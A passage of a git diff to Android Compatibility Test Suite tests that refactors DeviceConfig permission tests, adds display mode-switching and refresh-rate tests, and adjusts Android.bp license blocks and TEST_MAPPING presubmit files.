diff --git a/tests/tests/deviceconfig/AndroidTest.xml b/tests/tests/deviceconfig/AndroidTest.xml
index 0d3a8b8..e869e1f 100644
--- a/tests/tests/deviceconfig/AndroidTest.xml
+++ b/tests/tests/deviceconfig/AndroidTest.xml
@@ -18,7 +18,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
deleted file mode 100644
index 462ee62..0000000
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.deviceconfig.cts;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.content.Context;
-import android.os.UserHandle;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.Executor;
-
-@RunWith(AndroidJUnit4.class)
-abstract class AbstractDeviceConfigTestCase {
-
-    static final Context CONTEXT = InstrumentationRegistry.getContext();
-    static final Executor EXECUTOR = CONTEXT.getMainExecutor();
-
-    static final String WRITE_DEVICE_CONFIG_PERMISSION = "android.permission.WRITE_DEVICE_CONFIG";
-    static final String READ_DEVICE_CONFIG_PERMISSION = "android.permission.READ_DEVICE_CONFIG";
-
-    // String used to skip tests if not support.
-    // TODO: ideally it would be simpler to just use assumeTrue() in the @BeforeClass method, but
-    // then the test would crash - it might be an issue on atest / AndroidJUnit4
-    private static String sUnsupportedReason;
-
-    /**
-     * Get necessary permissions to access and modify properties through DeviceConfig API.
-     */
-    @BeforeClass
-    public static void setUp() throws Exception {
-        if (CONTEXT.getUserId() != UserHandle.USER_SYSTEM
-                && CONTEXT.getPackageManager().isInstantApp()) {
-            sUnsupportedReason = "cannot run test as instant app on secondary user "
-                    + CONTEXT.getUserId();
-        }
-    }
-
-    @Before
-    public void assumeSupported() {
-        assumeTrue(sUnsupportedReason, isSupported());
-    }
-
-    static boolean isSupported() {
-        return sUnsupportedReason == null;
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
index a18bbca..6d77ebb 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
@@ -16,8 +16,6 @@
 
 package android.deviceconfig.cts;
 
-import androidx.test.InstrumentationRegistry;
-
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
@@ -25,13 +23,17 @@
 import android.provider.DeviceConfig.OnPropertiesChangedListener;
 import android.provider.DeviceConfig.Properties;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.concurrent.Executor;
 
-public final class DeviceConfigApiPermissionTests extends AbstractDeviceConfigTestCase {
+@RunWith(AndroidJUnit4.class)
+public final class DeviceConfigApiPermissionTests {
     private static final String NAMESPACE = "namespace";
     private static final String NAMESPACE2 = "namespace2";
     private static final String PUBLIC_NAMESPACE = "textclassifier";
@@ -39,10 +41,16 @@
     private static final String KEY2 = "key2";
     private static final String VALUE = "value";
 
+    private static final String WRITE_DEVICE_CONFIG_PERMISSION =
+            "android.permission.WRITE_DEVICE_CONFIG";
+
+    private static final String READ_DEVICE_CONFIG_PERMISSION =
+            "android.permission.READ_DEVICE_CONFIG";
+
+    private static final Executor EXECUTOR = InstrumentationRegistry.getContext().getMainExecutor();
+
     @After
     public void dropShellPermissionIdentityAfterTest() {
-        if (!isSupported()) return;
-
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .dropShellPermissionIdentity();
     }
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
index 9fb039d..c1cbbad 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
@@ -20,17 +20,22 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
 import static org.junit.Assert.fail;
 
+import android.content.Context;
 import android.os.SystemClock;
+import android.os.UserHandle;
 import android.provider.DeviceConfig;
 import android.provider.DeviceConfig.OnPropertiesChangedListener;
 import android.provider.DeviceConfig.Properties;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.AfterClass;
+import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -40,7 +45,8 @@
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
 
-public final class DeviceConfigApiTests extends AbstractDeviceConfigTestCase {
+@RunWith(AndroidJUnit4.class)
+public final class DeviceConfigApiTests {
     private static final String NAMESPACE1 = "namespace1";
     private static final String NAMESPACE2 = "namespace2";
     private static final String EMPTY_NAMESPACE = "empty_namespace";
@@ -68,20 +74,47 @@
     private static final float VALID_FLOAT = 456.789f;
     private static final String INVALID_FLOAT = "34343et";
 
+    private static final Context CONTEXT = InstrumentationRegistry.getContext();
+
+    private static final Executor EXECUTOR = CONTEXT.getMainExecutor();
+
+
     private static final long WAIT_FOR_PROPERTY_CHANGE_TIMEOUT_MILLIS = 2000; // 2 sec
     private final Object mLock = new Object();
 
+
+    private static final String WRITE_DEVICE_CONFIG_PERMISSION =
+            "android.permission.WRITE_DEVICE_CONFIG";
+
+    private static final String READ_DEVICE_CONFIG_PERMISSION =
+            "android.permission.READ_DEVICE_CONFIG";
+
+    // String used to skip tests if not support.
+    // TODO: ideally it would be simpler to just use assumeTrue() in the @BeforeClass method, but
+    // then the test would crash - it might be an issue on atest / AndroidJUnit4
+    private static String sUnsupportedReason;
+
     /**
      * Get necessary permissions to access and modify properties through DeviceConfig API.
      */
     @BeforeClass
     public static void setUp() throws Exception {
-        if (!isSupported()) return;
+        if (CONTEXT.getUserId() != UserHandle.USER_SYSTEM
+                && CONTEXT.getPackageManager().isInstantApp()) {
+            sUnsupportedReason = "cannot run test as instant app on secondary user "
+                    + CONTEXT.getUserId();
+            return;
+        }
 
         InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
                 WRITE_DEVICE_CONFIG_PERMISSION, READ_DEVICE_CONFIG_PERMISSION);
     }
 
+    @Before
+    public void assumeSupported() {
+        assumeTrue(sUnsupportedReason, isSupported());
+    }
+
     /**
      * Nullify properties in DeviceConfig API after completion of every test.
      */
@@ -1060,6 +1093,10 @@
                 "device_config delete " + namespace + " " + key);
     }
 
+    private static boolean isSupported() {
+        return sUnsupportedReason == null;
+    }
+
     private static class PropertyUpdate {
         Properties properties;
 
@@ -1090,4 +1127,4 @@
             }
         }
     }
-}
+}
\ No newline at end of file
diff --git a/tests/tests/display/Android.bp b/tests/tests/display/Android.bp
index 2756a1d..a6df5fc 100644
--- a/tests/tests/display/Android.bp
+++ b/tests/tests/display/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDisplayTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/display/AndroidManifest.xml b/tests/tests/display/AndroidManifest.xml
index 38e5b3f..16028eb 100644
--- a/tests/tests/display/AndroidManifest.xml
+++ b/tests/tests/display/AndroidManifest.xml
@@ -33,6 +33,9 @@
         <uses-library android:name="android.test.runner" />
         <activity android:name=".ScreenOnActivity" />
         <activity android:name=".DisplayTestActivity" />
+        <activity
+            android:name=".RetainedDisplayTestActivity"
+            android:configChanges="density|orientation|screenLayout|screenSize" />
     </application>
 
     <!--  self-instrumenting test package. -->
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index 639ecc8..956e80c 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -19,7 +19,9 @@
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.*;
+import static org.junit.Assume.*;
 
+import android.Manifest;
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.Presentation;
@@ -40,6 +42,7 @@
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
 import android.util.DisplayMetrics;
+import android.util.Log;
 import android.view.Display;
 import android.view.Display.HdrCapabilities;
 import android.view.View;
@@ -58,14 +61,22 @@
 
 import java.io.FileInputStream;
 import java.io.InputStream;
+import java.time.Duration;
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
+import java.util.Optional;
+import java.util.Random;
 import java.util.Scanner;
+import java.util.concurrent.atomic.AtomicInteger;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
 @RunWith(AndroidJUnit4.class)
 public class DisplayTest {
+    private static final String TAG = "DisplayTest";
+
     // The CTS package brings up an overlay display on the target device (see AndroidTest.xml).
     // The overlay display parameters must match the ones defined there which are
     // 181x161/214 (wxh/dpi).  It only matters that these values are different from any real
@@ -102,6 +113,12 @@
                     false /* initialTouchMode */,
                     false /* launchActivity */);
 
+    @Rule
+    public ActivityTestRule<RetainedDisplayTestActivity> mRetainedDisplayTestActivity =
+            new ActivityTestRule<>(
+                    RetainedDisplayTestActivity.class,
+                    false /* initialTouchMode */,
+                    false /* launchActivity */);
     @Before
     public void setUp() throws Exception {
         mScreenOnActivity = launchScreenOnActivity();
@@ -111,6 +128,8 @@
         mUiModeManager = (UiModeManager) mContext.getSystemService(Context.UI_MODE_SERVICE);
         mDefaultDisplay = mDisplayManager.getDisplay(DEFAULT_DISPLAY);
         mSupportedWideGamuts = mDefaultDisplay.getSupportedWideColorGamut();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS);
     }
 
     @After
@@ -118,6 +137,9 @@
         if (mScreenOnActivity != null) {
             mScreenOnActivity.finish();
         }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+
     }
 
     private void enableAppOps() {
@@ -200,8 +222,7 @@
      */
     @Test
     public void testDefaultDisplayHdrCapability() {
-        Display display = mDisplayManager.getDisplay(DEFAULT_DISPLAY);
-        HdrCapabilities cap = display.getHdrCapabilities();
+        HdrCapabilities cap = mDefaultDisplay.getHdrCapabilities();
         int[] hdrTypes = cap.getSupportedHdrTypes();
         for (int type : hdrTypes) {
             assertTrue(type >= 1 && type <= 4);
@@ -212,9 +233,9 @@
         assertTrue(cap.getDesiredMinLuminance() <= cap.getDesiredMaxAverageLuminance());
         assertTrue(cap.getDesiredMaxAverageLuminance() <= cap.getDesiredMaxLuminance());
         if (hdrTypes.length > 0) {
-            assertTrue(display.isHdr());
+            assertTrue(mDefaultDisplay.isHdr());
         } else {
-            assertFalse(display.isHdr());
+            assertFalse(mDefaultDisplay.isHdr());
         }
     }
 
@@ -306,6 +327,121 @@
     }
 
     /**
+     * Test that a mode switch to every reported display mode is successful.
+     */
+    @Test
+    public void testModeSwitchOnPrimaryDisplay() throws Exception {
+        Display.Mode[] modes = mDefaultDisplay.getSupportedModes();
+        assumeTrue("Need two or more display modes to exercise switching.", modes.length > 1);
+
+        // Create a deterministically shuffled list of display modes, which ends with the
+        // current active mode. We'll switch to the modes in this order. The active mode is last
+        // so we don't need an extra mode switch in case the test completes successfully.
+        Display.Mode activeMode = mDefaultDisplay.getMode();
+        List<Display.Mode> modesList = new ArrayList<>(modes.length);
+        for (Display.Mode mode : modes) {
+            if (mode.getModeId() != activeMode.getModeId()) {
+                modesList.add(mode);
+            }
+        }
+        Random random = new Random(42);
+        Collections.shuffle(modesList, random);
+        modesList.add(activeMode);
+
+        try {
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+            assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode());
+            final DisplayTestActivity activity = launchActivity(mRetainedDisplayTestActivity);
+            for (Display.Mode mode : modesList) {
+                testSwitchToModeId(activity, mode);
+            }
+        } finally {
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+        }
+    }
+
+    /**
+     * Test that a mode switch to another display mode works when the requesting Activity
+     * is destroyed and re-created as part of the configuration change from the display mode.
+     */
+    @Test
+    public void testModeSwitchOnPrimaryDisplayWithRestart() throws Exception {
+        final Display.Mode oldMode = mDefaultDisplay.getMode();
+        final Optional<Display.Mode> newMode = Arrays.stream(mDefaultDisplay.getSupportedModes())
+                .filter(x -> !getPhysicalSize(x).equals(getPhysicalSize(oldMode)))
+                .findFirst();
+        assumeTrue("Modes with different sizes are not available", newMode.isPresent());
+
+        try {
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+            assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode());
+            final DisplayTestActivity activity = launchActivity(mDisplayTestActivity);
+            testSwitchToModeId(launchActivity(mDisplayTestActivity), newMode.get());
+        } finally {
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+        }
+    }
+
+    private static Point getPhysicalSize(Display.Mode mode) {
+        return new Point(mode.getPhysicalWidth(), mode.getPhysicalHeight());
+    }
+
+    private void testSwitchToModeId(DisplayTestActivity activity, Display.Mode mode)
+            throws Exception {
+        Log.i(TAG, "Switching to mode " + mode);
+
+        final CountDownLatch changeSignal = new CountDownLatch(1);
+        final AtomicInteger changeCounter = new AtomicInteger(0);
+        final int activeModeId = mDefaultDisplay.getMode().getModeId();
+
+        DisplayListener listener = new DisplayListener() {
+            private int mLastModeId = activeModeId;
+            @Override
+            public void onDisplayAdded(int displayId) {}
+
+            @Override
+            public void onDisplayChanged(int displayId) {
+                if (displayId != mDefaultDisplay.getDisplayId()) {
+                    return;
+                }
+                int newModeId = mDefaultDisplay.getMode().getModeId();
+                if (mLastModeId == newModeId) {
+                    // We assume this display change is caused by an external factor so it's
+                    // unrelated.
+                    return;
+                }
+                Log.i(TAG, "Switched mode from id=" + mLastModeId + " to id=" + newModeId);
+                changeCounter.incrementAndGet();
+                changeSignal.countDown();
+
+                mLastModeId = newModeId;
+            }
+
+            @Override
+            public void onDisplayRemoved(int displayId) {}
+        };
+
+        Handler handler = new Handler(Looper.getMainLooper());
+        mDisplayManager.registerDisplayListener(listener, handler);
+
+        final CountDownLatch presentationSignal = new CountDownLatch(1);
+        handler.post(() -> {
+            activity.setPreferredDisplayMode(mode);
+            presentationSignal.countDown();
+        });
+
+        assertTrue(presentationSignal.await(5, TimeUnit.SECONDS));
+
+        // Wait until the display change is effective.
+        assertTrue(changeSignal.await(5, TimeUnit.SECONDS));
+        assertEquals(mode.getModeId(), mDefaultDisplay.getMode().getModeId());
+
+        // Make sure no more display mode changes are registered.
+        Thread.sleep(Duration.ofSeconds(3).toMillis());
+        assertEquals(1, changeCounter.get());
+    }
+
+    /**
      * Tests that the mode-related attributes and methods work as expected.
      */
     @Test
@@ -320,10 +456,103 @@
     }
 
     /**
-     * Tests that mode switch requests are correctly executed.
+     * Tests that getSupportedModes works as expected.
      */
     @Test
-    public void testModeSwitch() throws Exception {
+    public void testGetSupportedModesOnDefaultDisplay() {
+        Display.Mode[] supportedModes = mDefaultDisplay.getSupportedModes();
+        // We need to check that the graph defined by getAlternativeRefreshRates() is symmetric and
+        // transitive.
+        // For that reason we run a primitive Union-Find algorithm. In the end of the algorithm
+        // groups[i] == groups[j] iff supportedModes[i] and supportedModes[j] are in the same
+        // connected component. The complexity is O(N^2*M) where N is the number of modes and M is
+        // the max number of alternative refresh rates). This is okay as we expect a relatively
+        // small number of supported modes.
+        int[] groups = new int[supportedModes.length];
+        for (int i = 0; i < groups.length; i++) {
+            groups[i] = i;
+        }
+
+        for (int i = 0; i < supportedModes.length; i++) {
+            Display.Mode supportedMode = supportedModes[i];
+            for (float alternativeRate : supportedMode.getAlternativeRefreshRates()) {
+                assertTrue(alternativeRate != supportedMode.getRefreshRate());
+
+                // The alternative exists.
+                int matchingModeIdx = -1;
+                for (int j = 0; j < supportedModes.length; j++) {
+                    boolean matches = displayModeMatches(supportedModes[j],
+                            supportedMode.getPhysicalWidth(),
+                            supportedMode.getPhysicalHeight(),
+                            alternativeRate);
+                    if (matches) {
+                        matchingModeIdx = j;
+                        break;
+                    }
+                }
+                String message = "Could not find alternative display mode with refresh rate "
+                        + alternativeRate + " for " + supportedMode +  ". All supported"
+                        + " modes are " + Arrays.toString(supportedModes);
+                assertNotEquals(message, -1, matchingModeIdx);
+
+                // Merge the groups of i and matchingModeIdx
+                for (int k = 0; k < groups.length; k++) {
+                    if (groups[k] == groups[matchingModeIdx]) {
+                        groups[k] = groups[i];
+                    }
+                }
+            }
+        }
+
+        for (int i = 0; i < supportedModes.length; i++) {
+            for (int j = 0; j < supportedModes.length; j++) {
+                if (i != j && groups[i] == groups[j]) {
+                    float fpsI = supportedModes[i].getRefreshRate();
+                    boolean iIsAlternativeToJ = false;
+                    for (float alternatives : supportedModes[j].getAlternativeRefreshRates()) {
+                        if (alternatives == fpsI) {
+                            iIsAlternativeToJ = true;
+                            break;
+                        }
+                    }
+                    String message = "Expected " + supportedModes[i] + " to be listed as "
+                            + "alternative refresh rate of " + supportedModes[j] + ". All supported"
+                            + " modes are " + Arrays.toString(supportedModes);
+                    assertTrue(message, iIsAlternativeToJ);
+                }
+            }
+        }
+    }
+
+    private boolean displayModeMatches(Display.Mode mode, int width, int height,
+            float refreshRate) {
+        return mode.getPhysicalWidth() == width &&
+                mode.getPhysicalHeight() == height &&
+                Float.floatToIntBits(mode.getRefreshRate()) == Float.floatToIntBits(refreshRate);
+    }
+
+    /**
+     * Tests that getMode() returns a mode which is in getSupportedModes().
+     */
+    @Test
+    public void testActiveModeIsSupportedModesOnDefaultDisplay() {
+        Display.Mode[] supportedModes = mDefaultDisplay.getSupportedModes();
+        Display.Mode activeMode = mDefaultDisplay.getMode();
+        boolean activeModeIsSupported = false;
+        for (Display.Mode mode : supportedModes) {
+            if (mode.equals(activeMode)) {
+                activeModeIsSupported = true;
+                break;
+            }
+        }
+        assertTrue(activeModeIsSupported);
+    }
+
+    /**
+     * Test that refresh rate switch app requests are correctly executed on a secondary display.
+     */
+    @Test
+    public void testRefreshRateSwitchOnSecondaryDisplay() throws Exception {
         // Standalone VR devices globally ignore SYSTEM_ALERT_WINDOW via AppOps.
         // Skip this test, which depends on a Presentation SYSTEM_ALERT_WINDOW to pass.
         if (mUiModeManager.getCurrentModeType() == Configuration.UI_MODE_TYPE_VR_HEADSET) {
@@ -359,15 +588,12 @@
 
         // Show the presentation.
         final CountDownLatch presentationSignal = new CountDownLatch(1);
-        handler.post(new Runnable() {
-            @Override
-            public void run() {
-                mPresentation = new TestPresentation(
-                        InstrumentationRegistry.getInstrumentation().getContext(),
-                        display, newMode.getModeId());
-                mPresentation.show();
-                presentationSignal.countDown();
-            }
+        handler.post(() -> {
+            mPresentation = new TestPresentation(
+                    InstrumentationRegistry.getInstrumentation().getContext(),
+                    display, newMode.getModeId());
+            mPresentation.show();
+            presentationSignal.countDown();
         });
         assertTrue(presentationSignal.await(5, TimeUnit.SECONDS));
 
@@ -375,12 +601,7 @@
         assertTrue(changeSignal.await(5, TimeUnit.SECONDS));
 
         assertEquals(newMode, display.getMode());
-        handler.post(new Runnable() {
-            @Override
-            public void run() {
-                mPresentation.dismiss();
-            }
-        });
+        handler.post(() -> mPresentation.dismiss());
     }
 
     /**
@@ -466,7 +687,6 @@
 
             WindowManager.LayoutParams params = getWindow().getAttributes();
             params.preferredDisplayModeId = mModeId;
-            params.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
             params.setTitle("CtsTestPresentation");
             getWindow().setAttributes(params);
         }
diff --git a/tests/tests/display/src/android/display/cts/DisplayTestActivity.java b/tests/tests/display/src/android/display/cts/DisplayTestActivity.java
index 79e4ac0..beb7c93 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTestActivity.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTestActivity.java
@@ -17,9 +17,46 @@
 package android.display.cts;
 
 import android.app.Activity;
+import android.os.Bundle;
+import android.view.Display;
+import android.view.WindowManager;
+
+import androidx.annotation.Nullable;
 
 /**
  * Test activity to exercise getting metrics for displays.
  */
 public class DisplayTestActivity extends Activity {
+
+    private static final String PREFERRED_DISPLAY_MODE_ID = "preferred_display_mode_id";
+    private int mPreferredDisplayModeId = 0;
+
+    @Override
+    public void onSaveInstanceState(Bundle outBundle) {
+        super.onSaveInstanceState(outBundle);
+
+        outBundle.putInt(PREFERRED_DISPLAY_MODE_ID, mPreferredDisplayModeId);
+    }
+
+    @Override
+    public void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        if (savedInstanceState != null) {
+            mPreferredDisplayModeId = savedInstanceState.getInt(PREFERRED_DISPLAY_MODE_ID, 0);
+            resetLayoutParams();
+        }
+    }
+
+    /** Set an override for the display mode. This is called directly from test instrumentation. */
+    public void setPreferredDisplayMode(Display.Mode mode) {
+        mPreferredDisplayModeId = mode.getModeId();
+        resetLayoutParams();
+    }
+
+    private void resetLayoutParams() {
+        WindowManager.LayoutParams params = getWindow().getAttributes();
+        params.preferredDisplayModeId = mPreferredDisplayModeId;
+        getWindow().setAttributes(params);
+    }
 }
diff --git a/tests/tests/display/src/android/display/cts/RetainedDisplayTestActivity.java b/tests/tests/display/src/android/display/cts/RetainedDisplayTestActivity.java
new file mode 100644
index 0000000..29ec88c
--- /dev/null
+++ b/tests/tests/display/src/android/display/cts/RetainedDisplayTestActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.display.cts;
+
+/**
+ * Test activity to exercise display APIs during config changes.
+ */
+public class RetainedDisplayTestActivity extends DisplayTestActivity {
+}
diff --git a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
index a0a567e..c4db581 100644
--- a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
@@ -16,6 +16,9 @@
 
 package android.display.cts;
 
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_TRUSTED;
+
 import android.app.Presentation;
 import android.content.Context;
 import android.graphics.Color;
@@ -76,9 +79,6 @@
     private HandlerThread mCheckThread;
     private Handler mCheckHandler;
 
-    private static final int VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS = 1 << 9;
-    private static final int VIRTUAL_DISPLAY_FLAG_TRUSTED = 1 << 10;
-
     @Override
     protected void setUp() throws Exception {
         super.setUp();
diff --git a/tests/tests/dpi/Android.bp b/tests/tests/dpi/Android.bp
index 35ff3fd..e3fa2ea 100644
--- a/tests/tests/dpi/Android.bp
+++ b/tests/tests/dpi/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDpiTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/dpi2/Android.bp b/tests/tests/dpi2/Android.bp
index 39ccf24..e38a6fc 100644
--- a/tests/tests/dpi2/Android.bp
+++ b/tests/tests/dpi2/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDpiTestCases2",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/dpi2/TEST_MAPPING b/tests/tests/dpi2/TEST_MAPPING
new file mode 100644
index 0000000..09c90d6
--- /dev/null
+++ b/tests/tests/dpi2/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsDpiTestCases2"
+    }
+  ]
+}
diff --git a/tests/tests/dreams/Android.bp b/tests/tests/dreams/Android.bp
index 00fc883..13c05b8 100644
--- a/tests/tests/dreams/Android.bp
+++ b/tests/tests/dreams/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDreamsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/dreams/TEST_MAPPING b/tests/tests/dreams/TEST_MAPPING
new file mode 100644
index 0000000..d8c6848
--- /dev/null
+++ b/tests/tests/dreams/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsDreamsTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/drm/Android.bp b/tests/tests/drm/Android.bp
index 9fe8a23..59c23d2 100644
--- a/tests/tests/drm/Android.bp
+++ b/tests/tests/drm/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDrmTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/drm/TEST_MAPPING b/tests/tests/drm/TEST_MAPPING
new file mode 100644
index 0000000..437c95c
--- /dev/null
+++ b/tests/tests/drm/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsDrmTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/drm/jni/Android.bp b/tests/tests/drm/jni/Android.bp
index c088695..aa6a94b 100644
--- a/tests/tests/drm/jni/Android.bp
+++ b/tests/tests/drm/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsdrm_jni",
     srcs: [
diff --git a/tests/tests/drm/lib/Android.bp b/tests/tests/drm/lib/Android.bp
index 58ad288..2724d2b 100644
--- a/tests/tests/drm/lib/Android.bp
+++ b/tests/tests/drm/lib/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libdrmtestplugin",
     cflags: [
diff --git a/tests/tests/dynamic_linker/Android.bp b/tests/tests/dynamic_linker/Android.bp
index c93e2df..38a7d25 100644
--- a/tests/tests/dynamic_linker/Android.bp
+++ b/tests/tests/dynamic_linker/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libdynamiclinker_native_lib_a",
     sdk_version: "current",
diff --git a/tests/tests/effect/Android.bp b/tests/tests/effect/Android.bp
index 5e9a14f..5ee5b74 100644
--- a/tests/tests/effect/Android.bp
+++ b/tests/tests/effect/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsEffectTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/effect/TEST_MAPPING b/tests/tests/effect/TEST_MAPPING
new file mode 100644
index 0000000..623dc8c
--- /dev/null
+++ b/tests/tests/effect/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsEffectTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/externalservice/Android.bp b/tests/tests/externalservice/Android.bp
index a1960d7..c70d41b 100644
--- a/tests/tests/externalservice/Android.bp
+++ b/tests/tests/externalservice/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
